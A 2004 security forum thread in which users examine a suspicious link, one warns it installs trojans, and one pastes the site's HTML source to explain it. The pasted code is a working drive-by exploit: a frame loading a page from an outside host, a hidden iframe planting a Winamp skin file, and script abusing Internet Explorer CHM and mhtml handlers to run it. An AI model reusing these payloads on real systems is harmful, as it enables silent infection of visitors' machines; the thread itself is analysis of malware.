hmm, what is this crap?!?

**jenniee** · April 1st, 2004, 03:11 AM

http://explode.to/update/

A dialer thingy?

**Negative** · April 1st, 2004, 04:03 AM

Warning before you click the link: this site will try to install at least two trojans (Bloodhound and Downloader.Trojan).

**nihil** · April 1st, 2004, 02:08 PM

Hmmm,

It didn't do anything for me, so it must be dodgy?

I deliberately connected an ARV (armoured reconnaisance vehicle) box to the net and tried to open the link................they just sat there looking at eachother? nothing happened.

This is somewhat disturbing, as it implies that these guys have a system that detects when they are being probed?............I wonder how that was done?

BTW:

1. The box I use is mine
2. I am quite prepared to format and re-install, actually I expect to!
3. The box is NOT attached to any network
4. It is stuffed with just about every bit of anti-malware I can think of

So don't try it with anything you have not prepared to lose

I now have to try to find out why it ignored my machine?

Interesting?

***MrLinus*** · April 1st, 2004, 02:16 PM

Your browser probably doesn't support iFrames. Note what's used with the bolded section.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>

<head>
<title>B0000m!</title>
<link rel="stylesheet" href="/style.css" type="text/css">
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1">

<meta name="description" content="Sounds and flash">

<meta name="keywords" content="Music">

</head>

<frameset rows="*" frameborder="0" border="0" framespacing="0">
<frame name="" src="http://www.7sz.com/x0x0x0/update.htm" marginwidth="10" marginheight="10" scrolling="auto" frameborder="no">
</frameset>

<noframes>
<body>
<h1>B0000m!</h1>
Your browser doesn't support frames. To view the website, click here:
Visit B0000m!
</body>
</noframes>

</html>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<HTML><HEAD>

<META http-equiv=Content-Type content="text/html; charset=windows-1252">

<META content="MSHTML 6.00.2800.1400" name=GENERATOR></HEAD>

<body bgcolor="#330000">

<IFRAME SRC="http://www.joecartoon.com/pages/home/" WIDTH=100% HEIGHT=100% MARGINHEIGHT=0 MARGINWIDTH=0 SCROLLING=AUTO border="0" NORESIZE></IFRAME>

<IFRAME SRC="zoom.wsz" WIDTH=0% HEIGHT=0% MARGINHEIGHT=0 MARGINWIDTH=0 SCROLLING=AUTO border="0" NORESIZE></IFRAME>

<script>

setTimeout(

function () {

showHelp("mk:@MSITStore:iexplore.chm::..\\..\\..\\..\\program files\\winamp\\skins\\zoom.wsz::\zoom.html");

window.open("mk:@MSITStore:iexplore.chm::..\\..\\..\\..\\program files\\winamp\\skins\\zoom.wsz::\zoom.html");

//hcp://services/subsite?node=blank&topic=ms-its:c:\\program files\\winamp\\skins\\zoom.chm::\\zoom.html

},

10000

);

</script>

<TEXTAREA id=code style="DISPLAY: none">

<object data="ms-its:mhtml:file://C:\foo.mht!${PATH}/update.chm::/update.htm" type="text/x-scriptlet"></object>;

</TEXTAREA>

<SCRIPT language=javascript>

document.write(code.value.replace(/\${PATH}/g,location.href.substring(0,location.href.indexOf('update.htm'))));

</SCRIPT>

</BODY></HTML>

Thread: hmm, what is this crap?!?

Thread Tools

Display

hmm, what is this crap?!?

Posting Permissions